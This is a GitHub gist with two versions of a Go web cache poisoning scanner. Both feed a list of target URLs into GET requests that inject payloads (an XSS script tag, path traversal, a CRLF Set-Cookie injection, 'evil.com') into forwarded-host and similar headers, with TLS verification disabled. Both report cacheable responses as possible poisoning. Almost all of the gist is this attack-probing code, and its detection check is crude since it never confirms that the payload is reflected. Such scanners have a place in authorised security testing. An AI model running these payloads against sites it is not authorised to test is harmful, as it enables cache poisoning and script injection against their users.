Skip to content

Instantly share code, notes, and snippets.

@z0rs
Last active November 16, 2024 16:19
Show Gist options
  • Save z0rs/0cfcadc9a360fb7e9dde27cbc5a2630c to your computer and use it in GitHub Desktop.
Save z0rs/0cfcadc9a360fb7e9dde27cbc5a2630c to your computer and use it in GitHub Desktop.
package main

import (
	"bufio"
	"crypto/tls"
	"fmt"
	"net/http"
	"net/url"
	"os"
	"strings"
	"time"
)

func main() {
	cacheHeaders := []string{
		"X-Forwarded-Host",
		"X-Forwarded-Proto",
		"X-Original-URL",
		"X-Forwarded-For",
		"X-Forwarded-Scheme",
		"Forwarded",
		"X-Host",
		"X-Originating-IP",
		"X-Original-Host",
		"X-Rewrite-URL",
		"Surrogate-Control",
		"Pragma",
		"Expires",
		"User-Agent",
		"Accept-Encoding",
		"Accept-Language",
		"Cookie",
		"Authorization",
	}

	payloads := []string{
		"<script>alert(1)</script>",
		"../",
		"%0d%0aSet-Cookie: poisoned=1",
		"CachePoisonTest",
		"evil.com",
	}

	scanner := bufio.NewScanner(os.Stdin)
	fmt.Println("Enter target URLs (one per line):")
	for scanner.Scan() {
		rawURL := scanner.Text()
		testURL, err := url.Parse(rawURL)
		if err != nil {
			fmt.Printf("Invalid URL: %s\n", rawURL)
			continue
		}

		for _, header := range cacheHeaders {
			for _, payload := range payloads {
				testHeader(testURL, header, payload)
			}
		}
	}
}

func testHeader(testURL *url.URL, header, payload string) {
	client := &http.Client{
		Timeout: 10 * time.Second,
		Transport: &http.Transport{
			TLSClientConfig: &tls.Config{InsecureSkipVerify: true},
		},
	}

	req, err := http.NewRequest("GET", testURL.String(), nil)
	if err != nil {
		fmt.Printf("Failed to create request: %v\n", err)
		return
	}
  
	req.Header.Set(header, payload)

	resp, err := client.Do(req)
	if err != nil {
		fmt.Printf("Request failed: %v\n", err)
		return
	}
	defer resp.Body.Close()

	cacheControl := resp.Header.Get("Cache-Control")
	if strings.Contains(strings.ToLower(cacheControl), "public") || strings.Contains(strings.ToLower(cacheControl), "max-age") {
		fmt.Printf("[!] Possible Cache Poisoning: %s with %s = %s\n", testURL.String(), header, payload)
	}

	// Optional: Check response body for payload reflection
	// Uncomment if needed
	// body, _ := ioutil.ReadAll(resp.Body)
	// if strings.Contains(string(body), payload) {
	// 	fmt.Printf("[!] Reflection detected: %s with %s = %s\n", testURL.String(), header, payload)
	// }
}
package main

import (
	"bufio"
	"crypto/tls"
	"fmt"
	"net/http"
	"net/url"
	"os"
	"strings"
	"sync"
	"time"
)

func main() {
	// Header and payloads configuration
	cacheHeaders := []string{
		"X-Forwarded-Host",
		"X-Forwarded-Proto",
		"X-Original-URL",
		"X-Forwarded-For",
		"X-Forwarded-Scheme",
		"Forwarded",
		"X-Host",
		"X-Originating-IP",
		"X-Original-Host",
		"X-Rewrite-URL",
		"Surrogate-Control",
		"Pragma",
		"Expires",
		"User-Agent",
		"Accept-Encoding",
		"Accept-Language",
		"Cookie",
		"Authorization",
	}

	payloads := []string{
		"<script>alert(1)</script>",
		"../",
		"%0d%0aSet-Cookie: poisoned=1",
		"CachePoisonTest",
		"evil.com",
	}

	// Read URLs from stdin
	var urls []string
	scanner := bufio.NewScanner(os.Stdin)
	for scanner.Scan() {
		url := strings.TrimSpace(scanner.Text())
		if url != "" {
			urls = append(urls, url)
		}
	}
	if err := scanner.Err(); err != nil {
		fmt.Printf("Error reading input: %v\n", err)
		return
	}

	// Use a WaitGroup for synchronization
	var wg sync.WaitGroup

	// Channel for worker pool
	jobs := make(chan string)

	// Start workers
	numWorkers := 10 // Adjust this based on your system capabilities
	for i := 0; i < numWorkers; i++ {
		wg.Add(1)
		go worker(jobs, &wg, cacheHeaders, payloads)
	}

	// Send jobs to the workers
	for _, u := range urls {
		jobs <- u
	}
	close(jobs)

	// Wait for all workers to finish
	wg.Wait()
	fmt.Println("Testing completed.")
}

func worker(jobs <-chan string, wg *sync.WaitGroup, cacheHeaders, payloads []string) {
	defer wg.Done()

	client := &http.Client{
		Timeout: 5 * time.Second, // Shortened timeout
		Transport: &http.Transport{
			TLSClientConfig: &tls.Config{InsecureSkipVerify: true},
		},
	}

	for rawURL := range jobs {
		testURL, err := url.Parse(rawURL)
		if err != nil {
			fmt.Printf("Invalid URL: %s\n", rawURL)
			continue
		}

		for _, header := range cacheHeaders {
			for _, payload := range payloads {
				// Perform testing for each combination of header and payload
				testHeader(client, testURL, header, payload)
			}
		}
	}
}

func testHeader(client *http.Client, testURL *url.URL, header, payload string) {
	req, err := http.NewRequest("GET", testURL.String(), nil)
	if err != nil {
		fmt.Printf("Failed to create request: %v\n", err)
		return
	}

	// Inject payload into the header
	req.Header.Set(header, payload)

	resp, err := client.Do(req)
	if err != nil {
		fmt.Printf("Request failed: %v\n", err)
		return
	}
	defer resp.Body.Close()

	// Check if the response is cacheable
	cacheControl := resp.Header.Get("Cache-Control")
	if strings.Contains(strings.ToLower(cacheControl), "public") || strings.Contains(strings.ToLower(cacheControl), "max-age") {
		fmt.Printf("[!] Possible Cache Poisoning: %s with %s = %s\n", testURL.String(), header, payload)
	}
}
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment